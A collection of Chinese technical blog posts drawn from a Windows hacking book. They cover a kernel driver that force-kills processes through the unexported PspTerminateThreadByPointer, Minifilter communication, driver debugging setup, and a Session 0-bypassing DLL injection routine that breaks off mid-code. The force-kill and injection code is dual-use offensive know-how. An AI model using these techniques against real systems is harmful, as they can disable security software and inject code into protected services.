    由上面代码可以知道,我们可以通过扫描 PsTerminateSystemThread 内核函数中的特征码,从而获取 PspTerminateThreadByPointer 函数的偏移,再根据偏移计算出该函数的地址。其中,不同系统中的特征码也会不同,下面是我使用 WinDbg 逆向各个系统上总结的特征码的情况:




    Win 7
    win 8.1
    win 10




    32 位
    0xE8
    0xE8
    0xE8


    64 位
    0xE8
    0xE9
    0xE9



    那么,我们强制杀进程的实现原理为:

    首先,根据特征码扫描内存,获取 PspTerminateThreadByPointer 函数地址
    然后,调用 PsLookupProcessByProcessId 函数,根据将要结束进程 ID 获取对应的进程结构对象 EPROCESS
    接着,遍历所有的线程 ID,并调用 PsLookupThreadByThreadId 函数根据线程 ID 获取对应的线程结构 ETHREAD
    然后,调用函数 PsGetThreadProcess 获取线程结构 ETHREAD 对应的进程结构 EPROCESS
    这时,我们可以通过判断该进程是不是我们指定要结束的进程,若是,则调用 PspTerminateThreadByPointer 函数结束线程;否则,继续遍历下一个线程 ID
    重复上述 3、4、5 的操作,直到线程遍历完毕

    这样,我们就可以查杀指定进程的所有线程,线程被结束之后,进程也随之结束。注意的是,当调用 PsLookupProcessByProcessId 和 PsLookupThreadByThreadId 等 LookupXXX 系列函数获取对象的时候,都需要调用 ObDereferenceObject 函数释放对象,否则在某些时候会造成蓝屏。
    编码实现强制结束指定进程// 强制结束指定进程NTSTATUS ForceKillProcess(HANDLE hProcessId){ PVOID pPspTerminateThreadByPointerAddress = NULL; PEPROCESS pEProcess = NULL; PETHREAD pEThread = NULL; PEPROCESS pThreadEProcess = NULL; NTSTATUS status = STATUS_SUCCESS; ULONG i = 0;#ifdef _WIN64 // 64 位 typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);#else // 32 位 typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER) (PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate);#endif // 获取 PspTerminateThreadByPointer 函数地址 pPspTerminateThreadByPointerAddress = GetPspLoadImageNotifyRoutine(); if (NULL == pPspTerminateThreadByPointerAddress) { ShowError("GetPspLoadImageNotifyRoutine", 0); return FALSE; } // 获取结束进程的进程结构对象EPROCESS status = PsLookupProcessByProcessId(hProcessId, &pEProcess); if (!NT_SUCCESS(status)) { ShowError("PsLookupProcessByProcessId", status); return status; } // 遍历所有线程, 并结束所有指定进程的线程 for (i = 4; i < 0x80000; i = i + 4) { status = PsLookupThreadByThreadId((HANDLE)i, &pEThread); if (NT_SUCCESS(status)) { // 获取线程对应的进程结构对象 pThreadEProcess = PsGetThreadProcess(pEThread); // 结束指定进程的线程 if (pEProcess == pThreadEProcess) { ((PSPTERMINATETHREADBYPOINTER)pPspTerminateThreadByPointerAddress)(pEThread, 0, 1); DbgPrint("PspTerminateThreadByPointer Thread:%d\n", i); } // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏 ObDereferenceObject(pEThread); } } // 凡是Lookup...,必需Dereference,否则在某些时候会造成蓝屏 ObDereferenceObject(pEProcess); return status;}
    获取 PspTerminateThreadByPointer 函数地址// 获取 PspTerminateThreadByPointer 函数地址PVOID GetPspLoadImageNotifyRoutine(){ PVOID pPspTerminateThreadByPointerAddress = NULL; RTL_OSVERSIONINFOW osInfo = { 0 }; UCHAR pSpecialData[50] = { 0 }; ULONG ulSpecialDataSize = 0; // 获取系统版本信息, 判断系统版本 RtlGetVersion(&osInfo); if (6 == osInfo.dwMajorVersion) { if (1 == osInfo.dwMinorVersion) { // Win7#ifdef _WIN64 // 64 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } else if (2 == osInfo.dwMinorVersion) { // Win8#ifdef _WIN64 // 64 位#else // 32 位#endif } else if (3 == osInfo.dwMinorVersion) { // Win8.1#ifdef _WIN64 // 64 位 // E9 pSpecialData[0] = 0xE9; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } } else if (10 == osInfo.dwMajorVersion) { // Win10#ifdef _WIN64 // 64 位 // E9 pSpecialData[0] = 0xE9; ulSpecialDataSize = 1;#else // 32 位 // E8 pSpecialData[0] = 0xE8; ulSpecialDataSize = 1;#endif } // 根据特征码获取地址 pPspTerminateThreadByPointerAddress = SearchPspTerminateThreadByPointer(pSpecialData, ulSpecialDataSize); return pPspTerminateThreadByPointerAddress;}
    根据特征码获取 PspTerminateThreadByPointer 数组地址// 根据特征码获取 PspTerminateThreadByPointer 数组地址PVOID SearchPspTerminateThreadByPointer(PUCHAR pSpecialData, ULONG ulSpecialDataSize){ UNICODE_STRING ustrFuncName; PVOID pAddress = NULL; LONG lOffset = 0; PVOID pPsTerminateSystemThread = NULL; PVOID pPspTerminateThreadByPointer = NULL; // 先获取 PsTerminateSystemThread 函数地址 RtlInitUnicodeString(&ustrFuncName, L"PsTerminateSystemThread"); pPsTerminateSystemThread = MmGetSystemRoutineAddress(&ustrFuncName); if (NULL == pPsTerminateSystemThread) { ShowError("MmGetSystemRoutineAddress", 0); return pPspTerminateThreadByPointer; } // 然后, 查找 PspTerminateThreadByPointer 函数地址 pAddress = SearchMemory(pPsTerminateSystemThread, (PVOID)((PUCHAR)pPsTerminateSystemThread + 0xFF), pSpecialData, ulSpecialDataSize); if (NULL == pAddress) { ShowError("SearchMemory", 0); return pPspTerminateThreadByPointer; } // 先获取偏移, 再计算地址 lOffset = *(PLONG)pAddress; pPspTerminateThreadByPointer = (PVOID)((PUCHAR)pAddress + sizeof(LONG) + lOffset); return pPspTerminateThreadByPointer;}
    指定内存区域的特征码扫描// 指定内存区域的特征码扫描PVOID SearchMemory(PVOID pStartAddress, PVOID pEndAddress, PUCHAR pMemoryData, ULONG ulMemoryDataSize){ PVOID pAddress = NULL; PUCHAR i = NULL; ULONG m = 0; // 扫描内存 for (i = (PUCHAR)pStartAddress; i < (PUCHAR)pEndAddress; i++) { // 判断特征码 for (m = 0; m < ulMemoryDataSize; m++) { if (*(PUCHAR)(i + m) != pMemoryData[m]) { break; } } // 判断是否找到符合特征码的地址 if (m >= ulMemoryDataSize) { // 找到特征码位置, 获取紧接着特征码的下一地址 pAddress = (PVOID)(i + ulMemoryDataSize); break; } } return pAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win8.1 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    在 Win7 64 位系统下,驱动程序正常执行:

    在 Win8.1 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结这个程序的原理不难理解,关键是如何定位 PspTerminateThreadByPointer 未导出的内核函数在 PsTerminateSystemThread 函数中的位置,要在各个版本系统上进行逆向,以确定内存特征码。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-02-23 21:08:06
  • Minifilter驱动程序与用户层程序通信

    背景通常 NT 驱动程序与用户层间的通信,可以由用户层调用 CreateFile 函数打开驱动设备并获取设备句柄,然后调用 DeviceIoControl 函数实现用户层数据和内核层数据的交互。
    那么,对于 Minifilter,它是一个 WDM 驱动,它并不像 NT 驱动那样使用常用的方式通信,而是有自己一套函数专门用于数据通信交互。现在,我就把程序的实现过程和原理整理成文档,分享给大家。
    实现过程用户层程序的实现过程导入库文件我们先来介绍下用户层上的程序的实现过程。首先,我们需要包含头文件 fltUser.h 以及库文件 fltLib.lib,这些文件在 VS 中并没有,它们存在于 WDK 中。我们可以设置程序的目录包含路径以及库文件包含路径,也可以将 WDK 中这两个文件拷贝到当前目录中来。我们选择后一种方法,将下面目录下的文件拷贝到当前目录中:

    C:\Program Files (x86)\Windows Kits\8.1\Include\um\fltUser.h
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x86\fltLib.lib
    C:\Program Files (x86)\Windows Kits\8.1\Lib\winv6.3\um\x64\fltLib.lib

    那么,我们在程序中声明头文件以及导入库文件的代码为:
    #include "flt\\fltUser.h"#ifdef _WIN32 #pragma comment(lib, "flt\\lib\\x86\\fltLib.lib")#else #pragma comment(lib, "flt\\lib\\x64\\fltLib.lib")#endif
    调用函数实现交互用户层上实现于 Minifilter 内核层的数据交互方法,和用户层与 NT 驱动程序的交互方法很相似,虽然不是 CreateFile 打开对象获取句柄,在调用 DeviceIoControl 交互数据。具体的实现步骤如下:

    首先,调用 FilterConnectCommunicationPort 函数打开通信端口,获取端口的句柄
    然后,调用 FilterSendMessage 函数交互数据,向内核程序传入输入、输出缓冲区
    当交互结束,通信句柄不再使用的时候,调用 CloseHandle 函数关闭句柄

    综合上面 3 个步骤来看,是不是和 NT 驱动程序的交互方式很相似呢?我们通过类比记忆就好。其中,Minifilter 是通过端口的方式来实现数据交互的。具体的实现代码如下所示:
    int _tmain(int argc, _TCHAR* argv[]){ HANDLE hPort = NULL; char szInputBuf[MAX_PATH] = "From User Test!"; char szOutputBuf[MAX_PATH] = { 0 }; DWORD dwInputLen = 1 + ::lstrlen(szInputBuf); DWORD dwOutputLen = MAX_PATH; DWORD dwRet = 0; HRESULT hRet = NULL; // 打开并连接端口, 获取端口句柄. (类似CreateFile) hRet = ::FilterConnectCommunicationPort(PORT_NAME, 0, NULL, 0, NULL, &hPort); if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterConnectCommunicationPort", NULL, MB_OK); return 1; } // 向端口发送数据. (类似 DeviceIoControl) hRet = ::FilterSendMessage(hPort, szInputBuf, dwInputLen, szOutputBuf, dwOutputLen, &dwRet); // 类似DeviceIoControl if (IS_ERROR(hRet)) { ::MessageBox(NULL, "FilterSendMessage", NULL, MB_OK); return 2; } // 显示数据 printf("InputBuffer:0x%x\n", szInputBuf); printf("OutputBuffer:0x%x\n", szOutputBuf); system("pause"); return 0;}
    内核层程序的实现过程从上面用户层程序的实现过程来看,和通常的交互方式来看,没有什么大区别,只是调用的函数变了而已。但是,对于内核层,却有很大的改变。
    我们知道,VS2013 里面有向导可以直接创建一个 Minifilter 驱动,可以生成代码框架和 inf 文件,这简化了很多工作。但是,VS2013 开发化境并没有帮我们生成与用户层通信部分的代码,所以,需要我们手动对代码进行更改,实现与用户层的数据通信。具体的步骤如下:
    1.首先,在内核程序的顶头声明 2 个全局变量,保存通信用的服务器端口以及客户端端口;并且声明 3 个回调函数:建立连接回调函数、数据通信回调函数、断开连接回调函数。
    // 端口名称#define PORT_NAME L"\\CommPort"// 服务器端口PFLT_PORT g_ServerPort;// 客户端端口PFLT_PORT g_ClientPort;// 建立连接回调函数NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie);// 数据通信回调函数NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength);// 断开连接回调函数VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie);
    2.然后,我们来到 DriverEntry 入口点函数,进行修改:

    首先,调用 FltRegisterFilter 注册过滤器
    然后,在使用 FltCreateCommunicationPort 函数创建通信端口之前,需要调用 FltBuildDefaultSecurityDescriptor 函数创建一个默认的安全描述符。其中,FLT_PORT_ALL_ACCESS 表示程序拥有连接到端口、访问端口等所有权限。其中,Minifilter 通常在调用 FltCreateCommunicationPort 函数之前会调用 FltBuildDefaultSecurityDescriptor 函数;在调用完 FltCreateCommunicationPort 函数后,会调用 FltFreeSecurityDescriptor 函数
    接着,调用 FltCreateCommunicationPort 创建通信服务器端口,使得Minifilter 驱动程序可以接收来自用户层程序的连接请求。可以通过该函数设置端口名称、建立连接回调函数、数据通信回调函数、断开连接回调函数、最大连接数等,同时可以获取服务器端口句柄
    然后,调用 FltFreeSecurityDescriptor 函数释放安全描述符
    最后,调用 FltStartFiltering 函数开始启动过滤注册的 Minifilter 驱动程序

    NTSTATUS DriverEntry ( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ){ NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); PT_DBG_PRINT( PTDBG_TRACE_ROUTINES, ("Minifilter_Communicate_Test!DriverEntry: Entered\n") ); // // Register with FltMgr to tell it our callback routines // status = FltRegisterFilter( DriverObject, &FilterRegistration, &gFilterHandle ); FLT_ASSERT( NT_SUCCESS( status ) ); if (NT_SUCCESS( status )) { PSECURITY_DESCRIPTOR lpSD = NULL; // 创建安全描述, 注意:要创建这个安全描述,否则不能成功通信 status = FltBuildDefaultSecurityDescriptor(&lpSD, FLT_PORT_ALL_ACCESS); if (!NT_SUCCESS(status)) { KdPrint(("FltBuildDefaultSecurityDescriptor Error[0x%X]", status)); return status; } // 创建于用户层交互的端口 UNICODE_STRING ustrCommPort; OBJECT_ATTRIBUTES objectAttributes; RtlInitUnicodeString(&ustrCommPort, PORT_NAME); InitializeObjectAttributes(&objectAttributes, &ustrCommPort, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, lpSD); status = FltCreateCommunicationPort(gFilterHandle, &g_ServerPort, &objectAttributes, NULL, ConnectNotifyCallback, DisconnectNotifyCallback, MessageNotifyCallback, 1); if (!NT_SUCCESS(status)) { KdPrint(("FltCreateCommunicationPort Error[0x%X]", status)); return status; } // 释放安全描述 FltFreeSecurityDescriptor(lpSD); // // Start filtering i/o // status = FltStartFiltering( gFilterHandle ); if (!NT_SUCCESS( status )) { FltUnregisterFilter( gFilterHandle ); } } return status;}
    其中,建立连接回调函数的代码为:
    NTSTATUS ConnectNotifyCallback( IN PFLT_PORT ClientPort, IN PVOID ServerPortCookies, IN PVOID ConnectionContext, IN ULONG SizeOfContext, OUT PVOID *ConnectionPortCokkie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ServerPortCookies); UNREFERENCED_PARAMETER(ConnectionContext); UNREFERENCED_PARAMETER(SizeOfContext); UNREFERENCED_PARAMETER(ConnectionPortCokkie); // 可以加以判断,禁止非法的连接,从而给予保护 g_ClientPort = ClientPort; // 保存以供以后使用 return STATUS_SUCCESS;}
    只要有连接连接到端口上,就会调用此函数。我们可以在该回调函数中获取客户端的端口句柄。这个客户端端口句柄要保存下来,这样,我们的驱动程序才可以和建立连接的用户层程序使用该客户端句柄进行数据通信。
    其中,断开连接回调函数的代码为:
    VOID DisconnectNotifyCallback(_In_opt_ PVOID ConnectionCookie){ PAGED_CODE(); UNREFERENCED_PARAMETER(ConnectionCookie); // 应该加判断,如果ConnectionCookie == 我们的值就执行这行 FltCloseClientPort(gFilterHandle, &g_ClientPort);}
    每当有连接断开的时候,就会调用该函数。我们需要在此调用 FltCloseClientPort 函数,关闭客户端端口。
    其中,数据交互回调函数的代码为:
    NTSTATUS MessageNotifyCallback( IN PVOID PortCookie, IN PVOID InputBuffer OPTIONAL, IN ULONG InputBufferLength, OUT PVOID OutputBuffer, IN ULONG OutputBufferLength, OUT PULONG ReturnOutputBufferLength){ /* 这里要注意: 1.数据地址的对齐. 2.文档建议使用:try/except处理. 3.如果是64位的驱动要考虑32位的EXE发来的请求. */ NTSTATUS status = STATUS_SUCCESS; PAGED_CODE(); UNREFERENCED_PARAMETER(PortCookie); /* 这里输入、输出的地址均是用户空间的地址!!! */ // 显示用户传输来的数据 KdPrint(("[InputBuffer][0x%X]%s\n", InputBuffer, (PCHAR)InputBuffer)); KdPrint(("[OutputBuffer][0x%X]\n", OutputBuffer)); // 返回内核数据到用户空间 CHAR szText[] = "From Kernel Data!"; RtlCopyMemory(OutputBuffer, szText, sizeof(szText)); *ReturnOutputBufferLength = sizeof(szText); return status;}
    每当有数据交互的时候,就会调用此回调函数。我们可以从输入缓冲区中获取来自用户层程序传入的数据。然后对输出缓冲区进行设置,将内核数据输出到用户层中。这个函数和 NT 驱动程序中的 IRP_MJ_DEVICE_CONTRL 消息对应的操作函数类似。
    3.当驱动卸载的时候,要在卸载函数中调用
    // 没有这一行是停止不了驱动的,查询也是永远等待中FltCloseCommunicationPort(g_ServerPort);
    否则,停止不了驱动的,查询也是永远等待中。
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结Minifilter 的通讯结构不难理解,注意和 NT 驱动程序的驱动结构进行类比理解就好。
    要注意该程序的加载,并不像 NT 驱动那样,调用加载程序来加载。WDM驱动,采用 inf 文件的安装方式,但是,一定要注意:MiniFilter生成后,一定要修改 inf中的 Instance1.Altitude = “370030”,即将注释去掉即可。因为每一个 Minifilter 驱动都必须指定一个 Altitude。每一个发组都有自己的一个 Altitude 区间,Altitude 值越高,代表在设备栈里面的位置也越高,也就是越先收到应用层发过来的IRP。
    inf 文件安装驱动方式:

    选中inf文件,鼠标右键,选择“安装”
    安装完毕后,以管理员权限打开cmd,输入“net start 服务名”启动服务
    停止服务则使用命令“net stop 服务名”即可

    同时要注意,程序在判断文件路径的时候,要使用 ExAllocatePool 申请非分页内存,不要直接使用变量,因为使用 FltGetFileNameInformation 获取的路径信息是存储在分页内存中,直接在回调函数中使用会导致蓝屏情况。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-02-15 17:40:50
  • 使用WinDbg双机调试SYS无源码驱动程序

    背景有很多学习逆向的小伙伴,逆向一些用户层的程序很熟练了,但是由于没有接触过内核驱动开发,所以对于驱动程序的逆向无从下手。
    对于驱动程序的调试可以分为有源码调试和无源码调试。本文主要讨论无源码驱动程序的调试,也就是逆向驱动程序的方法和步骤。本文演示的是使用 VMware 虚拟机和 WinDbg 程序实现双击调试。
    实现过程VMware虚拟机设置1.打开相应 WMware 虚拟机上的 “Edit virtaul machine settings”。

    2.“Hardware”选项中 —> 点击“Add”,添加一个串口设备 Serial Port 。如果有打印机(Printer)存在,则先移除虚拟机的 打印机 硬件,然后再添加串口设备 Serial Port,因为打印机会占用串口 COM1。

    3.“Next”,在“Serial Port” 里选中 “Output to named pipe”。

    4.“next”,然后如下设置:

    5.“Finish”之后,回到如下“Virtual Machine Settings”页面,在“I/O Mode” 里选中“Yield CPU on poll”。

    6.点击“OK”之后,WMware 虚拟机设置就完成了。接下来,我们开机,进入虚拟机系统中,并对虚拟机系统进行设置,将其设置成调试模式。
    虚拟机里的操作系统设置1.如果操作系统不是 Win10,则开机进入桌面后,在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定。

    2.如果操作系统是 Win10,则
    1.在设置 —> 安全和更新 —> 针对开发人员 —> 开发人员模式;

    2.管理员身份运行CMD,输入 bcdedit /set testsigning on 开启测试模式;

    3.在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定;

    3.关机重启,这样虚拟机里的操作系统就设置完成了。接下来,就开始在真机系统上对 WinDbg 程序进行设置并下断点调试了。
    使用 WinDbg 程序开始双机调试无源码驱动程序1.我们在真机上以管理员身份运行 WinDbg,点击 File —> Kernel Debug —> COM,然后在 Port中输入:\\.\pipe\com_1,其它都勾选上,点击“确定”。

    2.通常 WinDbg 就会一直显示 等待建立连接(Waiting to reconnect…) 状态,如下面所示:

    3.这时,需要我们点击 Break(Ctrl+Break) 暂停调试。这样,虚拟机就会停下来,我们就可以在 WinDbg 中输入命令。


    4.我们就可以输入命令,使用 WinDbg 程序来调试虚拟机中的操作系统内核。先来介绍些常用的 WinDbg 命令:
    lm :表示列举虚拟机加载和卸载的内核模块起始地址和结束地址。bu、bp :下断点。u、uf :反汇编指定地址处的代码。dd : 查看指定地址处的数据。dt : 查看数据类型定义。
    其中,bu 命令用来设置一个延迟的、以后再求解的断点,对未加载模块中的代码设置断点;当指定模块被加载时,才真正设置这个断点;这对动态加载模块的入口函数或初始化代码处加断点特别有用。
    在模块没有被加载的时候,bp 断点会失败(因为函数地址不存在),而 bu 断点则可以成功。新版的 WinDBG 中 bp 失败后会自动被转成 bu。
    那么,在无源码的驱动程序 .sys 的入口点函数 DriverEntry 中下断点的指令为:
    bp 驱动模块名称+驱动PE结构入口点函数偏移// 如:bp DriverEnum+0x1828
    5.我们演示调试无源码驱动程序 DriverEnum.sys,虚拟机系统环境是 Win10 64位。然后,在 WinDbg 程序中输入指令:bp DriverEnum+0x1828。其中,bp表示下断点;DriverEnum 表示驱动程序 DriverEnum.sys 的驱动模块名称;0x1828 表示驱动程序 DriverEnum.sys 的入口点偏移地址,这个偏移地址可以由 PE 查看工具查看得出,如下图:

    输入完下断点指令后,我们在输入 g,让系统继续执行,直到执行到断点处,便会停下。

    我们,在虚拟机系统里,加载并启动我们的驱动程序 DriverEnum.sys,在启动之后,真机上的 WinDbg 成功在 DriverEnum.sys 的入口点 DriverEntry 处停下。这时,我们可以使用快捷键 F10 或者 F10 步过或者步入来单步调试,还可以继续使用 bp 下多个断点。

    总结步骤并不复杂,只是啰嗦而已。大家细心点跟着上述教程,认真操作就可以成功对无源码的驱动程序的入口点函数 DriverEntry 下断点,实现调试。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2019-02-09 22:44:12
  • 使用VS2013搭建内核开发环境并使用VS2013自带的WinDbg双机调试有源码的驱动程序

    背景想要学习内核 Rootkit 开发,那么第一件事就是要搭建好开发环境,第二件事情就是要了解如何调试驱动代码。这两点区别,和使用 VS2013 开发应用程序完全不同。在内核下,我们使用的是 WinDbg 来双机调试。所谓的双机调试,就是指有两台计算机,一台计算机上面运行要调试的程序,另一台计算机上面运行 WinDbg 来调试程序,两台计算机之间可以通过串口通信。
    本文介绍的是使用 VS2013 开发环境开发驱动程序的环境配置,以及使用 VMWare 虚拟机搭建双机调试环境,实现使用 VS2013 开发环境自带的 WinDbg 调试开发的有源码的驱动程序。现在,我就把实现过程整理成文档,分享给大家。
    实现过程使用 VS2013 开发驱动程序VS2013 要进行驱动开发,必须先安装 WDK8.1,可以在 微软驱动开发官网 上进行下载。注意,下载的 WDK 一定要对应自己的 VS 版本,VS2013 就下载 WDK8.1。
    安装完毕 WDK8.1 之后,我们就可以使用 VS2013 创建驱动项目工程,开发驱动程序了。具体的步骤为:
    1.运行 VS2013 开发环境,点击菜单栏“文件” —> “新建” —> “项目” —> “模板” —> “Visual C++” —> “Windows Driver” —> “Empty WDM Driver”。要注意的是,WDK8.1 提供的模板中没有提供 NT 驱动模板,但是我们可以新建 WDM空模板 工程,然后向工程项目中添加头文件、代码文件,编译链接之后,生成的驱动程序就是 NT 驱动了。

    2.建立工程后,首先会有两个工程,一个就是驱动工程,另外一个是 Package 工程(这个是测试驱动安装的一个工程,对于 NT 驱动来说其实没有什么用处,可以直接删除)。驱动工程中会帮你建立一个 inf 文件,NT是使用不到的(当然新一代的过滤驱动,例如 Minifilter 是使用的,VS2013 支持直接创建 Minifilter 工程),可以直接删除。
    3.由于创建的是一个空项目,所以需要我们自己手动添加代码文件。直接添加一个Driver.c(有很多人说使用C++开发驱动,但是个人还是觉得使用 C 开发比较适合,因为微软内核使用的也是 C,而且 C 是能够直接操作内存。),并声明头文件、编写入口点函数 DriverEntry:

    4.接下来,编译驱动代码,报错。没有关系,查看出错原因,无外乎一些警告被当做错误,或者一些函数参数没有被使用,导致编译不过,这些都是因为安全警告等级太高了,我们可以分两种方式解决:一是将所有的警告和安全措施,全部都做到。例如没有使用的参数使用宏UNREFERENCED_PARAMETER等等。要做到这些,有时候基本没有办法写程序。二是降低警告等级。具体步骤为:
    1.打开项目属性页;
    2.C/C++ —> 常规 —> 警告等级选择“等级3(/W3)” —> 将警告视为错误选择“否(/WX-)”;

    3.链接器 —> 常规 —> 将链接器警告视为错误选择“否(/WX:NO)”;

    4.Driver Signing —> General —> Sign Mode 选择“Off”。

    设置完毕后,再编译链接驱动代码,成功生成 .sys 驱动程序。接下来,我们就开始讲解 WinDbg 双机调试。
    双机调试VMware虚拟机设置1.打开相应 WMware 虚拟机上的 “Edit virtaul machine settings”。

    2.“Hardware”选项中 —> 点击“Add”,添加一个串口设备 Serial Port 。如果有打印机(Printer)存在,则先移除虚拟机的 打印机 硬件,然后再添加串口设备 Serial Port,因为打印机会占用串口 COM1。

    3.“Next”,在“Serial Port” 里选中 “Output to named pipe”。

    4.“next”,然后如下设置:

    5.“Finish”之后,回到如下“Virtual Machine Settings”页面,在“I/O Mode” 里选中“Yield CPU on poll”。

    6.点击“OK”之后,WMware 虚拟机设置就完成了。接下来,我们开机,进入虚拟机系统中,并对虚拟机系统进行设置,将其设置成调试模式。
    虚拟机里的操作系统设置1.如果操作系统不是 Win10,则开机进入桌面后,在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定。

    2.如果操作系统是 Win10,则
    1.在设置 —> 安全和更新 —> 针对开发人员 —> 开发人员模式;

    2.管理员身份运行CMD,输入 bcdedit /set testsigning on 开启测试模式;

    3.在运行窗口输入 msconfig —> 引导 —> 高级选项 —> 调试 —> 确定;

    3.关机重启,这样虚拟机里的操作系统就设置完成了。接下来,就开始配置 VS2013,使用 VS2013 上的 WinDbg 调试程序。
    VS2013 驱动调试配置1.点击菜单栏“DRIVER” —> “Test” —> “Configure Computers…”;

    2.然后,点击“Add New Conputer”,添加配置信息。

    3.接着,选中“Manually configure debuggers and do not provision”,点击“下一步”;

    4.最后,选中“Serial”通信,波特率为“115200”,勾选“Pipe”,勾选“Reconnect”,管道名称为“\.\pipe\com_1”,目标端口为“com1”;这只完后,点击下一步即可完成 VS2013 上面的调试配置。

    开始正式调试当配置好 VMware 虚拟机环境以及 VS2013 上面的调试环境之后,我们就可以来调试驱动程序了。调试方法和调试应用程序一样,先下断点、然后运行程序,程序执行到断点处就会停下。但在双机调试下,就会变成:
    1.首先,我们使用快捷键 F9 在驱动程序代码上下断点,再按下 F5 运行程序,会弹出提示框,我们选择继续调试:


    2.这时,驱动程序就一直处于 waiting to reoonnect… 状态。要特别特别特别注意:在 VMware 虚拟机中加载驱动程序之前,我们先在 VS2013 暂停下调试,暂停成功后,再按 F5 继续调试,这时才去 VMware 中加载驱动程序。
    如果不先暂停的话,加载运行驱动程序,代码断点不能成功断下来。暂停之后,可以成功断下来。这可能是一个 Bug 吧,反正大家如果遇到断不下来的情况,都先试试先暂停,再运行调试这种办法吧。


    3.我们到 VMware 中加载运行驱动程序,VS2013 成功在断点处断下。那么,这时,我们就可以使用快捷键 F5、F9、F10、F11,像调试应用层序那样调试驱动程序了。

    总结步骤并不复杂,只是啰嗦而已。大家细心点跟着上述教程,认真操作就可以成功开发驱动程序,并使用 WinDbg 实现双机调试驱动程序源码。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2019-02-09 11:38:26
  • 突破SESSION0隔离的的远线程注入DLL技术剖析

    背景之前写过 “传统的远线程注入DLL技术剖析“ 这篇文章,里面主要介绍使用传统的 CreateRemoteThread 函数来实现向指定进程注入 DLL。但是,这种方法有一个问题就是,不能突破 SESSION 0 隔离。也就是不能成功将指定 DLL 注入到系统服务进程中。
    现在,我们来介绍另一种的远线程注入 DLL,它可以突破 SESSION 0 隔离,成功注入 DLL。现在我就把实现过程和原理整理成文档,分享给大家。
    实现原理和传统的 CreateRemoteThread 函数实现的远线程注入 DLL 的唯一一个区别就是,我们这次是使用 Z我Create ThreadEx 函数来实现创建远线程。其它的均和传统的实现方法是一样的,原理也是一样的。
    使用 ZwCreateThreadEx 函数可以突破 SESSION 0 隔离,成功将 DLL 注入到 SESSION 0 的系统服务进程中。其中,ZwCreateThreadEx 在 ntdll.dll 中并没有声明,所以我们需要使用 GetProcAddress 从 ntdll.dll 中获取该函数的导出地址。
    64 位下,ZwCreateThreadEx 函数声明为:
    DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown);
    32 位下,ZwCreateThreadEx 函数声明为:
    DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown);
    编码实现// 使用 ZwCreateThreadEx 实现远线程注入BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName){ HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 在注入进程中申请内存 dwSize = 1 + ::lstrlen(pszDllFileName); pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx"); return FALSE; } // 向申请的内存中写入数据 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory"); return FALSE; } // 加载 ntdll.dll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA"); return FALSE; } // 获取ZwCreateThread函数地址#ifdef _WIN64 typedef 